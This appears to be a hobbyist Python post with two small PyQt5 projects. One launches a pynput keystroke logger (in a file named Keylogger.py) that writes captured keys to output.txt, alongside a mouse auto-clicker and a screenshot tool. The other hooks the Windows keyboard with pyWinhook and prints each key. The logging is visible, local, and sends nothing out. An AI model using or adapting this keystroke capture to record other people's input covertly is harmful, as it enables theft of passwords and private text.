备案一
- Keylogger.py
import sys
import os
import demo
from PyQt5.QtWidgets import QApplication, QMainWindow
def demo1():
os.system("python test1.py")
def demo2():
os.system("python test2.py")
def demo3():
os.system("python test3.py")
if __name__ == '__main__':
app = QApplication(sys.argv)
MainWindow = QMainWindow()
ui = demo.Ui_Dialog()
ui.setupUi(MainWindow)
MainWindow.show()
ui.button1.clicked.connect(demo1)
ui.button2.clicked.connect(demo2)
ui.button3.clicked.connect(demo3)
sys.exit(app.exec_())
- demo.py
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'demo.ui'
#
# Created by: PyQt5 UI code generator 5.15.4
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName("Dialog")
Dialog.resize(427, 212)
self.button1 = QtWidgets.QPushButton(Dialog)
self.button1.setGeometry(QtCore.QRect(50, 30, 93, 161))
self.button1.setObjectName("button1")
self.button2 = QtWidgets.QPushButton(Dialog)
self.button2.setGeometry(QtCore.QRect(170, 30, 93, 161))
self.button2.setObjectName("button2")
self.button3 = QtWidgets.QPushButton(Dialog)
self.button3.setGeometry(QtCore.QRect(290, 30, 93, 161))
self.button3.setObjectName("button3")
self.retranslateUi(Dialog)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
_translate = QtCore.QCoreApplication.translate
Dialog.setWindowTitle(_translate("Dialog", "Dialog"))
self.button1.setText(_translate("Dialog", "键盘监听"))
self.button2.setText(_translate("Dialog", "鼠标连击"))
self.button3.setText(_translate("Dialog", "截图控制"))
- test1.py
from pynput.keyboard import Controller, Listener
# 1、键盘监听
keyboard = Controller()
keys = []
def on_press(key):
string = str(key).replace("'", "")
def on_release(key):
global keys
string = str(key).replace("'", "")
keys.append('\r' + string)
main_string = "".join(keys)
print(main_string)
if len(main_string) > 15:
with open('output.txt', 'a') as f:
f.write(main_string)
keys = []
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
- test2.py
import pyautogui
import keyboard
# 2、鼠标连点
for i in range(5):
if keyboard.wait(hotkey='ctrl+alt') is None:
x, y = pyautogui.position()
for i in range(50):
pyautogui.click(x, y)
- test3.py
import keyboard
import pyautogui as pag
from PIL import ImageGrab
# 3、屏幕截图
if keyboard.wait(hotkey='ctrl+alt') is None:
x1, y1 = pag.position()
if keyboard.wait(hotkey='ctrl+alt') is None:
x2, y2 = pag.position()
image = ImageGrab.grab((x1, y1, x2, y2))
image.save("screen.png")
演示视频:https://wwb.lanzouv.com/iZlWD0eja2ri
备案二
- main.py
import sys
import os
import demo
import pyWinhook
import pythoncom
from PyQt5.QtWidgets import QApplication, QMainWindow
class KeyBoardManager():
keyIsPressed = False
def onKeyDown(self, event):
if self.keyIsPressed:
return True
print(str(event.Key) + ' is pressed')
self.keyIsPressed = True
return True
def onKeyUp(self, event):
self.keyIsPressed = False
print(str(event.Key) + ' is released')
return True
def begin():
mykbmanager = KeyBoardManager()
hookmanager = pyWinhook.HookManager()
hookmanager.KeyDown = mykbmanager.onKeyDown
hookmanager.KeyUp = mykbmanager.onKeyUp
hookmanager.HookKeyboard()
pythoncom.PumpMessages()
def over():
os.system("start.bat")
exit()
if __name__ == '__main__':
app = QApplication(sys.argv)
MainWindow = QMainWindow()
ui = demo.Ui_MainWindow()
ui.setupUi(MainWindow)
MainWindow.show()
ui.pushButton.clicked.connect(begin)
ui.pushButton_2.clicked.connect(over)
sys.exit(app.exec_())
- demo.py
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'demo.ui'
#
# Created by: PyQt5 UI code generator 5.15.4
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName("MainWindow")
MainWindow.resize(777, 492)
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.pushButton = QtWidgets.QPushButton(self.centralwidget)
self.pushButton.setGeometry(QtCore.QRect(80, 30, 281, 141))
self.pushButton.setObjectName("pushButton")
self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_2.setGeometry(QtCore.QRect(400, 30, 281, 141))
self.pushButton_2.setObjectName("pushButton_2")
self.label = QtWidgets.QLabel(self.centralwidget)
self.label.setGeometry(QtCore.QRect(330, 200, 131, 21))
self.label.setObjectName("label")
self.textEdit = QtWidgets.QTextEdit(self.centralwidget)
self.textEdit.setGeometry(QtCore.QRect(83, 246, 601, 161))
self.textEdit.setObjectName("textEdit")
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 777, 26))
self.menubar.setObjectName("menubar")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
self.pushButton.setText(_translate("MainWindow", "Keyboard Monitoring(ON)"))
self.pushButton_2.setText(_translate("MainWindow", "Keyboard Monitoring(OFF)"))
self.label.setText(_translate("MainWindow", "DEMO ZOOM"))
- start.bat
C:
cd C:\Users\YYDL\Desktop\python\demo
start python main.py
exit
演示视频:https://wwb.lanzouv.com/iyfbC0f67t2f